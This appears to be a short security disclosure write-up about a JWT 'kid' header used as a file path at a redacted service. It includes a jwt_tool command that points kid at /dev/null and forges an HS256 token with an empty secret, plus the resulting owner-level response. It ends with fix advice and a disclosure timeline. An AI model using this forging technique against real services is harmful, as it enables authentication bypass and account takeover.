The kid header exists so a service can rotate signing keys without breaking live tokens. It is a key identifier. At ███████████ it was a file path, and it was attacker-controlled.
The signal
Decoding a session token shows the header:
{ "alg": "RS256", "kid": "keys/prod-2026-04.pem", "typ": "JWT" }A relative path with a slash in it. That is not a key identifier, that is a filename being handed to a loader. The first thing to try is whether the loader resolves anything else.
# a kid that points outside the keys directorypython3 jwt_tool.py "$TOKEN" -I -hc kid -hv "../../../../dev/null" -S hs256 -p ""/dev/null reads as an empty file. If the library falls back to HMAC when the loaded key is empty, the signature is an HMAC with an empty secret, which anyone can compute. The forged token was accepted on the first try.
HTTP/2 200 OKcontent-type: application/json{"user":{"id":1,"email":"████████████████","role":"owner"}}Takeaways
kidis an identifier, not a path. Look it up in a fixed map and reject anything that is not a key of that map.- An empty key must be a hard failure, never a fallback to a symmetric algorithm.
- Pin the algorithm server-side. The token should never get a say in how it is verified.
Disclosure timeline
- Report sent
- Emergency mitigation kid allowlist deployed the same evening
- Fix deployed
- Cleared for publication